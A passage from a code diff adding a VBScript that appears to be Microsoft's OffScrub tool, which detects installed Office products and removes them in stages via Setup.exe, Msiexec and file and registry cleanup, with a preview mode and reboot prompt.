+        If Not fLogInitialized Then CreateLog
+        Log "Insufficient registry access permissions - exiting"
+    End If
+    'Undo temporary entries created in ARP
+    TmpKeyCleanUp
+    wscript.quit 3
+End If
+
+'Create Dictionaries
+Set dictionaryKeepProd = CreateObject("Scripting.Dictionary")
+Set dicInstalledSku = CreateObject("Scripting.Dictionary")
+Set dicRemoveSku = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepSku = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepLis = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepFolder = CreateObject("Scripting.Dictionary")
+Set dicApps = CreateObject("Scripting.Dictionary")
+Set dicDelRegKey = CreateObject("Scripting.Dictionary")
+Set dictionaryKeepReg = CreateObject("Scripting.Dictionary")
+Set dicSrv = CreateObject("Scripting.Dictionary")
+Set dicCSuite = CreateObject("Scripting.Dictionary")
+Set dicCSingle = CreateObject("Scripting.Dictionary")
+
+'Create the temp folder
+If Not oFso.FolderExists(sScrubDir) Then oFso.CreateFolder sScrubDir
+
+'Set the default logging directory
+sLogDir = sScrubDir
+
+'Call the command line parser
+ParseCmdLine
+
+'Ensure CScript as engine
+If NOT fCScript AND NOT fQuiet Then RelaunchAsCScript
+
+'Get Office Install Folder
+If NOT RegReadValue(HKLM,"SOFTWARE\Microsoft\Office\"&OVERSION&"\Common\InstallRoot","Path",sOInstallRoot,"REG_SZ") Then
+    sOInstallRoot = sProgramFiles & "\Microsoft Office\"&OREF
+End If
+
+'Ensure integrity of WI metadata which could fail used APIs otherwise
+EnsureValidWIMetadata HKCU,"Software\Classes\Installer\Products",COMPRESSED
+EnsureValidWIMetadata HKCR,"Installer\Products",COMPRESSED
+EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products",COMPRESSED
+EnsureValidWIMetadata HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components",COMPRESSED
+EnsureValidWIMetadata HKCR,"Installer\Components",COMPRESSED
+
+'Add initial known .exe files that might need to be closed
+dicApps.Add "communicator.exe", "communicator.exe"
+dicApps.Add "setup.exe", "setup.exe"
+Select Case OVERSIONMAJOR
+Case "12"
+Case "14"
+    dicApps.Add "bcssync.exe","bcssync.exe"
+    dicApps.Add "officesas.exe","officesas.exe"
+    dicApps.Add "officesasscheduler.exe","officesasscheduler.exe"
+    dicApps.Add "msosync.exe","msosync.exe"
+    dicApps.Add "onenotem.exe","onenotem.exe"
+Case "15"
+Case Else
+End Select
+
+'-------------------
+'Stage # 0 - Basics |
+'-------------------
+'Build a list with installed/registered Office products
+sTmp = "Stage # 0 " & chr(34) & "Basics" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+
+FindInstalledOProducts
+If dicInstalledSku.Count > 0 Then Log "Found registered product(s): " & Join(RemoveDuplicates(dicInstalledSku.Items),",") &vbCrLf
+
+'Validate the list of products we got from the command line if applicable
+ValidateRemoveSkuList
+
+'Log detection results
+If dicRemoveSku.Count > 0 Then Log "Product(s) to be removed: " & Join(RemoveDuplicates(dicRemoveSku.Items),",")
+sMode = "Selected " & ONAME & " products"
+If NOT dicRemoveSku.Count > 0 Then sMode = "Orphaned " & ONAME & " products"
+If fRemoveAll Then sMode = "All " & ONAME & " products"
+Log "Final removal mode: " & sMode
+Log "Remove OSE service: " & fRemoveOse &vbCrLf
+
+'Log preview mode if applicable
+If fDetectOnly Then Log "*************************************************************************"
+If fDetectOnly Then Log "*                          PREVIEW MODE                                 *"
+If fDetectOnly Then Log "* All uninstall and delete operations will only be logged not executed! *"
+If fDetectOnly Then Log "*************************************************************************" & vbCrLf
+
+'Check if there are legacy products installed
+CheckForLegacyProducts
+If fLegacyProductFound Then Log "Found legacy Office products that will not be removed." Else Log "No legacy Office products found."
+
+'Cache .msi files
+If dicRemoveSku.Count > 0 Then CacheMsiFiles
+
+'Log Sku/Prod detection results
+LogSkuResults
+
+'UnPin Shortcuts
+If NOT fSkipSD AND dicRemoveSku.Count > 0 Then
+    On Error Resume Next
+    Log " Searching for pinned shortcuts"
+    CleanShortcuts sAllUsersProfile, False, True
+    CleanShortcuts sProfilesDirectory, False, True
+    On Error Goto 0
+End If 'NOT SkipSD
+
+
+'--------------------------------
+'Stage # 1 - Component Detection |
+'--------------------------------
+sTmp = "Stage # 1 " & chr(34) & "Component Detection" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage1 OR fForce Then
+    'Build a list with files which are installed/registered to a product that's going to be removed
+    Log "Prepare for CleanUp stages."
+    Log "Identifying removable elements. This can take several minutes."
+    ScanComponents
+Else
+    Log "Not running Component Detection in default removal."
+End If
+
+'End all running Office applications
+If fForce OR fQuiet OR fPassive Then CloseOfficeApps
+
+'----------------------
+'Stage # 2 - Setup.exe |
+'----------------------
+sTmp = "Stage # 2 " & chr(34) & "Setup.exe" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage2 Then
+    SetupExeRemoval
+Else
+    Log "Skipping Setup.exe because bypass was requested."
+End If
+
+'------------------------
+'Stage # 3 - Msiexec.exe |
+'------------------------
+sTmp = "Stage # 3 " & chr(34) & "Msiexec.exe" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage3 Then
+    MsiexecRemoval
+Else
+    Log "Skipping Msiexec.exe because bypass was requested."
+End If
+
+'--------------------
+'Stage # 4 - CleanUp |
+'--------------------
+'Removal of files and registry settings
+sTmp = "Stage # 4 " & chr(34) & "CleanUp" & chr(34) & " (" & Time & ")"
+Log vbCrLf & sTmp & vbCrLf & String(Len(sTmp),"=") & vbCrLf
+If Not fBypass_Stage4 Then
+
+    'Office Source Engine
+    If fRemoveOse Then RemoveOSE
+
+    'Local Installation Source (MSOCache)
+    WipeLIS
+
+    'Obsolete files
+    If fRemoveAll Then
+        FileWipeAll
+    Else
+        FileWipeIndividual
+    End If
+
+    'Empty Folders
+    DeleteEmptyFolders
+
+    'Restore Explorer if needed
+    If fForce OR fQuiet OR fPassive Then RestoreExplorer
+
+    'Registry data
+    RegWipe
+
+    'Wipe orphaned files from Windows Installer cache
+    MsiClearOrphanedFiles
+
+    'Temporary .msi files in scrubcache
+    DeleteMsiScrubCache
+
+    'Temporary files
+    DelScrubTmp
+
+Else
+    Log "Skipping CleanUp because bypass was requested."
+End If
+
+If Not sMoveMessage = "" Then Log vbCrLf & "Please remove this folder after next reboot: " & sMoveMessage
+
+'THE END
+Log vbCrLf & "End removal: " & Now & vbCrLf
+Log vbCrLf & "For detailed logging please refer to the log in folder " &chr(34)&sScrubDir&chr(34)&vbCrLf
+
+If fRebootRequired Then
+    Log vbCrLf & "A restart is required to complete the operation!"
+    If NOT (fQuiet OR fPassive OR fNoReboot) Then
+        If MsgBox("Do you want to reboot now?",vbYesNo,"Reboot Required") = VB_YES Then
+            Dim colOS, oOS
+            Dim oWmiReboot
+            Set oWmiReboot = GetObject("winmgmts:{{impersonationLevel=impersonate,(Shutdown)}!\\.\root\cimv2")
+            Set colOS = oWmiReboot.ExecQuery ("Select * from Win32_OperatingSystem")
+            For Each oOS in colOS
+                oOS.Reboot()
+            Next
+        End If
+    End If
+End If
+
+If NOT (fQuiet OR fPassive) Then
+    For Each Item in Wscript.Arguments
+        If Item = "UAC" Then
+            If fCscript Then wscript.stdout.write "Press <Enter> to close this window"
+            sTemp = wscript.stdin.read(1)
+        End If
+    Next 'Argument
+End If
+'=======================================================================================================
+'=======================================================================================================
+
+'Stage 0 - 4 Subroutines
+'=======================================================================================================
+
+'Office configuration products are listed with their configuration product name in the "Uninstall" key
+'To identify an Office configuration product all of these condiditions have to be met:
+' - "SystemComponent" does not have a value of "1" (DWORD)
+' - "OPACKAGE" (see constant declaration) entry exists and is not empty
+' - "DisplayVersion" exists and the 2 leftmost digits are "OVERSIONMAJOR"
+Sub FindInstalledOProducts
+    Dim ArpItem, File
+    Dim sCurKey, sValue, sConfigName, sProdC, sCVHValue
+    Dim sProductCodeList, sProductCode
+    Dim arrKeys, arrMultiSzValues
+    Dim fSystemComponent0, fPackages, fDisplayVersion, fReturn, fCategorized
+
+    If dicInstalledSku.Count > 0 Then Exit Sub 'Already done from InputBox prompt
+
+    'Handle orphaned products to get them added to the detection scope
+    If fTryReconcile Then
+        For Each File in oFso.GetFolder(sWICacheDir).Files
+            If Len(File.Name)>3 Then
+                Select Case LCase(Right(File.Name, 4))
+                Case ".msi"
+                    sProductCode = ""
+                    sProductCode = GetMsiProductCode(File.Path)
+                    If InScope(sProductCode) Then
+                        If NOT RegKeyExists(HKLM, REG_ARP & sProductCode) Then
+                            'Ensure the orphaned item is getting removed
+                            If Len(sSkuRemoveList) > 0 Then
+                                sSkuRemoveList = sSkuRemoveList & "," & GetProductID(Mid(sProductCode, 11, 4))
+                            Else
+                                sSkuRemoveList = GetProductID(Mid(sProductCode, 11, 4))
+                            End If
+                            'Add to ScrubDir
+                            oFso.CopyFile File.Path,sScrubDir & "\" & sProductCode & ".msi",True
+                            'Register the product with MSI
+                            MsiRegisterProduct File.Path
+                        End If 'NOT sProductCode
+                    End If 'InScope
+                Case Else
+                End Select
+            End If '>3
+        Next 'File
+    End If 'fTryReconcile
+
+    'Locate standalone Office products that have no configuration product entry and create a
+    'temporary configuration entry
+    ReDim arrTmpSKUs(-1)
+    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
+        For Each ArpItem in arrKeys
+            If InScope(ArpItem) Then
+                sCurKey = REG_ARP & ArpItem & "\"
+                fSystemComponent0 = Not (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
+                If fSystemComponent0 Then
+                    RegReadValue HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ"
+                    Redim arrMultiSzValues(0)
+                    'Logic changed to drop the LCID identifier
+                    'sConfigName = GetProductID(Mid(ArpItem,11,4)) & "_" & CInt("&h" & Mid(ArpItem,16,4))
+                    sConfigName = OREGREF & GetProductID(Mid(ArpItem, 11, 4))
+                    If NOT RegKeyExists(HKLM, REG_ARP&sConfigName) Then
+                        'Create a new ARP item
+                        ReDim Preserve arrTmpSKUs(UBound(arrTmpSKUs) + 1)
+                        arrTmpSKUs(UBound(arrTmpSKUs)) = sConfigName
+                        oReg.CreateKey HKLM, REG_ARP & sConfigName
+                        arrMultiSzValues(0) = sConfigName
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, OPACKAGE, arrMultiSzValues
+                        arrMultiSzValues(0) = ArpItem
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "Comment", "Temporary OffScrub generated key. Please delete this key!"
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", arrMultiSzValues
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayVersion", sValue
+                        oReg.SetStringValue HKLM, REG_ARP & sConfigName, "DisplayName", SCRIPTNAME & "_" & sConfigName
+                        oReg.SetDWordValue HKLM, REG_ARP & sConfigName, "SystemComponent", 0
+                    Else
+                        'Update the existing temporary ARP item
+                        fReturn = RegReadValue(HKLM, REG_ARP&sConfigName, "ProductCodes", sProdC, "REG_MULTI_SZ")
+                        If NOT InStr(sProdC, ArpItem) > 0 Then sProdC = sProdC & chr(34) & ArpItem
+                        oReg.SetMultiStringValue HKLM, REG_ARP & sConfigName, "ProductCodes", Split(sProdC, Chr(34))
+                    End If 'RegKeyExists
+                End If 'fSystemComponent0
+            End If 'InScope
+        Next 'ArpItem
+    End If 'RegEnumKey
+
+    'Find the configuration products
+    If RegEnumKey(HKLM, REG_ARP, arrKeys) Then
+        For Each ArpItem in arrKeys
+            sCurKey = REG_ARP & ArpItem & "\"
+            sValue = ""
+            fSystemComponent0 = NOT (RegReadValue(HKLM, sCurKey, "SystemComponent", sValue, "REG_DWORD") AND (sValue = "1"))
+            fPackages = RegReadValue(HKLM, sCurKey, OPACKAGE, sValue, "REG_MULTI_SZ")
+            fDisplayVersion = RegReadValue(HKLM, sCurKey, "DisplayVersion", sValue, "REG_SZ")
+            If fDisplayVersion Then
+                If Len(sValue) > 1 Then
+                    fDisplayVersion = (Left(sValue, 2) = OVERSIONMAJOR)
+                Else
+                    fDisplayVersion = False
+                End If
+            End If
+            'fSystemComponent0 filter causes issues if the ARP entries have been hidden
+            'If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
+            If (fPackages AND fDisplayVersion) Then
+                If InStr(ArpItem,".") > 0 Then sConfigName = UCase(Mid(ArpItem, InStr(ArpItem, ".") + 1)) Else sConfigName = UCase(ArpItem)
+                If NOT dicInstalledSku.Exists(sConfigName) Then dicInstalledSku.Add sConfigName, sConfigName
+
+                'Categorize the SKU
+                'Four categories are available: ClientSuite, ClientSingleProduct, Server, C2R
+                If RegReadValue(HKLM, REG_ARP & OREGREF & sConfigName, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
+                    fCategorized = False
+                    For Each sProductCode in Split(sProductCodeList, Chr(34))
+                        If Len(sProductCode) = 38 Then
+                            If Mid(sProductCode, 11, 1) = "1" Then
+                                'Server product
+                                If NOT dicSrv.Exists(UCase(sConfigName)) Then dicSrv.Add UCase(sConfigName), sConfigName
+                                fCategorized = True
+                                Exit For
+                            Else
+                                Select Case Mid(sProductCode, 11, 4)
+                                'Client Suites
+                                Case "000F","0011","0012","0013","0014","0015","0016","0017","0018","0019","001A","001B","0029","002B","002E","002F","0030","0031","0033","0035","0037","003D","0044","0049","0061","0062","0066","006C","006D","006F","0074","00A1","00A3","00A9","00BA","00CA","00E0","0100","0103","011A"
+                                    If NOT dicCSuite.Exists(UCase(sConfigName)) Then dicCSuite.Add UCase(sConfigName), sConfigName
+                                    fCategorized = True
+                                    Exit For
+
+                                Case "007E", "008F", "008C", "24E1", "237A"
+                                    If NOT dictionaryKeepProd.Exists(sProductCode) Then dictionaryKeepProd.Add sProductCode, sConfigName
+                                    fC2rInstalled = True
+                                Case Else
+                                End Select
+                            End If
+                        End If 'Len 38
+                    Next 'sProductCode
+                    If NOT fCategorized Then
+                        If NOT dicCSingle.Exists(UCase(sConfigName)) Then dicCSingle.Add UCase(sConfigName), sConfigName
+                    End If 'fCategorized
+                End If 'RegReadValue "ProductCodes"
+            End If
+        Next 'ArpItem
+    End If 'RegEnumKey
+End Sub 'FindInstalledOProducts
+'=======================================================================================================
+
+'Check if there are Office products from previous versions on the computer
+Sub CheckForLegacyProducts
+    Const OLEGACY = "78E1-11D2-B60F-006097C998E7}.6000-11D3-8CFE-0050048383C9}.6000-11D3-8CFE-0150048383C9}.BDCA-11D1-B7AE-00C04FB92F3D}.6D54-11D4-BEE3-00C04F990354}"
+    Dim Product
+
+    'Set safe default
+    fLegacyProductFound = True
+
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            'Handle O09 - O11 Products
+            If InStr(OLEGACY, UCase(Right(Product, 28))) > 0 Then
+                'Found legacy Office product. Keep flag in default and exit
+                Exit Sub
+            End If
+            If UCase(Right(Product,PRODLEN)) = OFFICEID Then
+                Select Case Mid(Product,4,2)
+                Case "12", "14"
+                    'Found legacy Office product. Keep flag in default and exit
+                    Exit Sub
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fLegacyProductFound = False
+
+End Sub 'CheckForLegacyProducts
+'=======================================================================================================
+
+'Create clean list of Products to remove.
+'Strip off bad & empty contents
+Sub ValidateRemoveSkuList
+    Dim Sku, Key, sProductCode, sProductCodeList
+    Dim arrRemoveSKUs
+
+    If fRemoveAll Then
+        'Remove all mode
+        For Each Key in dicInstalledSku.Keys
+            dicRemoveSku.Add Key,dicInstalledSku.Item(Key)
+        Next 'Key
+    Else
+        'Remove individual products or preconfigured configurations mode
+
+        'Ensure to have a string with no unexpected contents
+        sSkuRemoveList = Replace(sSkuRemoveList,";",",")
+        sSkuRemoveList = Replace(sSkuRemoveList," ","")
+        sSkuRemoveList = Replace(sSkuRemoveList,Chr(34),"")
+        While InStr(sSkuRemoveList,",,")>0
+            sSkuRemoveList = Replace(sSkuRemoveList,",,",",")
+        Wend
+
+        'Prepare 'remove' and 'keep' dictionaries to determine what has to be removed
+
+        'Initial pre-fill of 'keep' dic
+        For Each Key in dicInstalledSku.Keys
+            dictionaryKeepSku.Add Key,dicInstalledSku.Item(Key)
+        Next 'Key
+
+        'Determine contents of keep and remove dic
+        'Individual products
+        arrRemoveSKUs = Split(UCase(sSkuRemoveList),",")
+        For Each Sku in arrRemoveSKUs
+            If Sku = "OSE" Then fRemoveOse = True
+            If dictionaryKeepSku.Exists(Sku) Then
+                'A Sku to remove has been passed in
+                'remove the item from the keep dic
+                dictionaryKeepSku.Remove(Sku)
+                'Now add it to the remove dic
+                If NOT dicRemoveSku.Exists(Sku) Then dicRemoveSku.Add Sku,Sku
+            End If
+        Next 'Sku
+
+        'Client Suite Category
+        If fRemoveCSuites Then
+            For Each Key in dicInstalledSku.Keys
+                If dicCSuite.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveCSuites
+
+        'Client Single/Standalone Category
+        If fRemoveCSingle Then
+            For Each Key in dicInstalledSku.Keys
+                If dicCSingle.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveCSingle
+
+        'Server Category
+        If fRemoveSrv Then
+            For Each Key in dicInstalledSku.Keys
+                If dicSrv.Exists(Key) Then
+                    If dictionaryKeepSku.Exists(Key) Then dictionaryKeepSku.Remove(Key)
+                    If NOT dicRemoveSku.Exists(Key) Then dicRemoveSku.Add Key,Key
+                End If
+            Next 'Key
+        End If 'fRemoveSrv
+
+        If NOT dictionaryKeepSku.Count > 0 Then fRemoveAll = True
+
+    End If 'fRemoveAll
+
+    'Fill the KeepProd dic
+    For Each Sku in dictionaryKeepSku.Keys
+        If RegReadValue(HKLM, REG_ARP & OREGREF & Sku, "ProductCodes", sProductCodeList, "REG_MULTI_SZ") Then
+            For Each sProductCode in Split(sProductCodeList, chr(34))
+                If Len(sProductCode) = 38 Then
+                    If NOT dictionaryKeepProd.Exists(sProductCode) Then
+                    	dictionaryKeepProd.Add sProductCode, Sku
+                    	' also add the UpgradeCode
+                    	If Not dictionaryKeepProd.Exists(GetUpgradeCode(sProductCode)) Then dictionaryKeepProd.Add GetUpgradeCode(sProductCode), Sku & "_UpgradeCode"
+                    End If
+                End If '38
+            Next 'sProductCode
+        End If
+    Next 'Sku
+
+    If fRemoveAll OR fRemoveOse Then CheckRemoveOSE
+    If fRemoveAll OR fRemoveOspp Then CheckRemoveOspp
+
+End Sub 'ValidateRemoveSkuList
+'=======================================================================================================
+
+'Check if OSE service can be scrubbed
+Sub CheckRemoveOSE
+    Const O11 = "6000-11D3-8CFE-0150048383C9}"
+    Dim Product
+
+    If fRemoveOse Then Exit Sub
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            If UCase(Right(Product, 28)) = O11 Then
+                'Found Office 2003 Product. Set flag to not remove the OSE service
+                Exit Sub
+            End If
+            If UCase(Right(Product, PRODLEN))= OFFICEID Then
+                Select Case Mid(Product, 4, 2)
+                Case "12","14","15","16","17"
+                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
+	                    'Found another Office product. Set flag to keep the OSE service
+                        fRemoveOse = False
+                        Exit Sub
+                    End If
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fRemoveOse = True
+End Sub 'CheckRemoveOSE
+'=======================================================================================================
+
+'Check if OSPP service can be scrubbed
+Sub CheckRemoveOSPP
+    Dim Product
+
+    If NOT CInt(OVERSIONMAJOR) > 12 Then
+        fRemoveOspp = False
+        Exit Sub
+    End If
+
+    If fRemoveOspp Then Exit Sub
+
+    If fC2rInstalled Then
+        fRemoveOspp = False
+        Exit Sub
+    End If
+
+    For Each Product in oMsi.Products
+        If Len(Product) = 38 Then
+            If UCase(Right(Product, PRODLEN)) = OFFICEID Then
+                Select Case Mid(Product, 4, 2)
+                Case "14","15","16","17"
+                    If NOT Mid(Product, 4, 2) = OVERSIONMAJOR Then
+						'Found another Office product. Set flag to keep the OSPP service
+                        fRemoveOspp = False
+                        Exit Sub
+                    End If
+                Case Else
+                End Select
+            End If
+        End If '38
+    Next 'Product
+    fRemoveOspp = True
+End Sub 'CheckRemoveOSPP
+'=======================================================================================================
+
+'Cache .msi files for products that will be removed in case they are needed for later file detection
+Sub CacheMsiFiles
+    Dim Product
+    Dim sMsiFile
+
+    'Non critical routine for failures.
+    'Errors will be logged but must not fail the execution
+    On Error Resume Next
+    Log " Cache .msi files to temporary Scrub folder"
+    'Cache the files
+    For Each Product in oMsi.Products
+        'Ensure valid GUID length
+        If CheckDeleteEx(Product) Then
+            CheckError "CacheMsiFiles"
+            sMsiFile = oMsi.ProductInfo(Product,"LocalPackage") : CheckError "CacheMsiFiles"
+            LogOnly " - " & Product & ".msi"
+            If oFso.FileExists(sMsiFile) Then oFso.CopyFile sMsiFile,sScrubDir & "\" & Product & ".msi",True
+            CheckError "CacheMsiFiles"
+        End If 'InScope
+    Next 'Product
+
+    Err.Clear
+End Sub 'CacheMsiFiles
+'=======================================================================================================
+
+'Build a list of all files that will be deleted
+Sub ScanComponents
+    Const MSIINSTALLSTATE_LOCAL = 3
+
+    Dim FileList, RegList, ComponentID, CompClient, Record, qView, MsiDb, CompVerbose
+    Dim Processes, Process, Prop, prod
+    Dim sQuery, sSubKeyName, sPath, sFile, sMsiFile, sCompClient, sComponent, sCompReg
+    Dim fRemoveComponent, fAffectedComponent, fIsPermanent, fIsFile, fIsFolder
+    Dim i, iProgress, iCompCnt, iRemCnt
+    Dim dicFLError, oDic, oFolderDic, dicCompPath
+    Dim hDefKey
+
+    'Logfile
+    Set FileList = oFso.OpenTextFile(sScrubDir & "\FileList.txt",FOR_WRITING,True,True)
+    Set RegList = oFso.OpenTextFile(sScrubDir & "\RegList.txt",FOR_WRITING,True,True)
+    Set CompVerbose = oFso.OpenTextFile(sScrubDir & "\CompVerbose.txt",FOR_WRITING,True,True)
+
+    'FileListError dic
+    Set dicFLError = CreateObject("Scripting.Dictionary")
+
+    Set oDic = CreateObject("Scripting.Dictionary")
+    Set oFolderDic = CreateObject("Scripting.Dictionary")
+    Set dicCompPath = CreateObject("Scripting.Dictionary")
+
+    'Prevent that API errors fail script execution
+    On Error Resume Next
+
+    iCompCnt = oMsi.Components.Count
+    If NOT Err = 0 Then
+        'API failure
+        Log "Error during components detection. Cannot complete this task."
+        Err.Clear
+        Exit Sub
+    End If
+
+    'Ensure to not divide by zero
+    If iCompCnt = 0 Then iCompCnt = 1
+    LogOnly " Scanning " & iCompCnt & " components"
+    'Enum all Components
+    For Each ComponentID In oMsi.Components
+        CompVerbose.WriteLine vbCrLf & "Checking Component: " & ComponentID
+
+        'Progress bar
+        i = i + 1
+        If iProgress < (i / iCompCnt) * 100 Then
+            If fCScript Then wscript.stdout.write "." : LogStream.Write "."
+            iProgress = iProgress + 1
+            If iProgress = 35 OR iProgress = 70 Then Log ""
+        End If
+
+        'Check if all ComponentClients will be removed
+        sCompClient = ""
+        iRemCnt = 0
+        fIsPermanent = False
+        fRemoveComponent = False 'Flag to track if the component will be completely removed
+        fAffectedComponent = False 'Flag to track if some clients remain installed who have a none shared location
+        dicCompPath.RemoveAll
+        Err.Clear
+        For Each CompClient In oMsi.ComponentClients(ComponentID)
+            CompVerbose.Write " CompClient " & CompClient & "-> "
+            If Err = 0 Then
+                'Ensure valid guid length
+                If Len(CompClient) = 38 Then
+                    fRemoveComponent = InScope(CompClient)
+                    If fRemoveComponent OR (CompClient = "{{00000000-0000-0000-0000-000000000000}") Then
+                        sPath = ""
+                        sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
+                        sPath = Replace(sPath,"?",":")
+                        'Scan for msidbComponentAttributesPermanent flag
+                        If CompClient = "{{00000000-0000-0000-0000-000000000000}" Then
+                            fIsPermanent = True
+                            iRemCnt = iRemCnt + 1
+                        End If
+                        If fRemoveComponent Then fRemoveComponent = CheckDelete(CompClient)
+                        CompVerbose.Write "CheckDelete: " & fRemoveComponent & "; "
+                        If fRemoveComponent Then
+                            iRemCnt = iRemCnt + 1
+                            fAffectedComponent = True
+                            'Since the scope remains within one Office family the keypath for the component
+                            'is assumed to be identical
+                            If sCompClient = "" Then sCompClient = CompClient
+                        ' flag the CompClient entry for removal
+                            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
+                            If NOT dicDelRegKey.Exists(sCompReg) Then
+                                dicDelRegKey.Add sCompReg,HKCR
+                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+                            End If
+                            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
+                            If NOT dicDelRegKey.Exists(sCompReg) Then
+                                dicDelRegKey.Add sCompReg,HKLM
+                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+                            End If
+                        Else
+                            If NOT dicCompPath.Exists(sPath) Then dicCompPath.Add sPath,CompClient
+                        End If
+                        CompVerbose.WriteLine "AffectedComponent: " & fAffectedComponent
+                        CompVerbose.WriteLine " CompClient now set to: " & sCompClient
+                    Else
+                        CompVerbose.Write "InScope: " & fRemoveComponent & "; "
+                    End If
+                Else
+                    CompVerbose.WriteLine "Error: Invalid metadata"
+                    If NOT dicFLError.Exists("Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient) Then _
+                        dicFLError.Add "Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient, ComponentID
+                End If '38
+            Else
+                CompVerbose.WriteLine "Error: " & Err.number & " " & Err.Description
+                Err.Clear
+            End If 'Err = 0
+        Next 'CompClient
+
+        'Determine if the component resources go away
+        sPath = ""
+        fRemoveComponent = fAffectedComponent AND (iRemCnt = oMsi.ComponentClients(ComponentID).Count)
+        CompVerbose.WriteLine " Component goes away: " & fRemoveComponent
+' This caused unintentional removals
+'        If NOT fRemoveComponent AND fAffectedComponent Then
+'            'Flag as removable if component has a unique keypath
+'            sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
+'            sPath = Replace(sPath,"?",":")
+'            fRemoveComponent = NOT dicCompPath.Exists(sPath)
+'        End If
+        If fRemoveComponent Then
+            'Check msidbComponentAttributesPermanent flag
+            If fIsPermanent AND NOT fForce Then fRemoveComponent = False
+            CompVerbose.WriteLine " msidbComponentAttributesPermanent: " & NOT fRemoveComponent
+        End If
+
+        If fRemoveComponent Then
+            CompVerbose.WriteLine " RESULT: Component IN SCOPE for removal"
+            fIsFile = False : fIsFolder = False
+
+            'Component resources go away for this product
+            Err.Clear
+            'Add the component registration key to ensure removal
+            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"
+            If NOT dicDelRegKey.Exists(sCompReg) Then
+                dicDelRegKey.Add sCompReg,HKCR
+                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+            End If
+            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"
+            If NOT dicDelRegKey.Exists(sCompReg) Then
+                dicDelRegKey.Add sCompReg,HKLM
+                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+            End If
+            'Get the component path
+            If sPath = "" Then
+                sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
+                sPath = Replace(sPath,"?",":")
+            End If
+            CompVerbose.WriteLine " Path: " & sPath
+            If Len(sPath) > 4 Then
+                If Left(sPath,1) = "0" Then
+                    'Registry keypath
+
+                    Select Case Left(sPath,2)
+                    Case "00"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKCR
+                    Case "01"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKCU
+                    Case "02","22"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKLM
+                    Case Else
+                        '
+                    End Select
+
+                    'Go for the safe way and just reset the default entry
+                    'compared to deleting the whole key
+                    If Right(sPath,1) = "\" Then sPath = sPath & "(Default)"
+
+                    If NOT dicDelRegKey.Exists(sPath) Then
+                        dicDelRegKey.Add sPath,hDefKey
+                        RegList.WriteLine HiveString(hDefKey)&"\"&sPath
+                    End If
+                Else
+
+                    'File or Folder
+                    If oFso.FileExists(sPath) OR oFso.FolderExists(sPath) Then
+                        If Right(sPath,1) = "\" Then
+                            fIsFolder = True
+                            CompVerbose.WriteLine " Folder check OK"
+                        Else
+                            fIsFile = True
+                            CompVerbose.WriteLine " File check OK"
+                        End If
+                        If fIsFile Then sPath = oFso.GetFile(sPath).ParentFolder
+                        If Not oFolderDic.Exists(sPath) Then
+                            oFolderDic.Add sPath,sPath
+                            FileList.WriteLine sPath & vbTab & "(FOLDER)"
+                        End If
+                        'Get the .msi file
+                        If oFso.FileExists(sScrubDir & "\" & sCompClient & ".msi") Then
+                            sMsiFile = sScrubDir & "\" & sCompClient & ".msi"
+                        Else
+                            sMsiFile = oMsi.ProductInfo(sCompClient,"LocalPackage")
+                        End If
+                        CompVerbose.WriteLine " Set msi file to : " & sMsiFile
+                        If Not Err = 0 Then
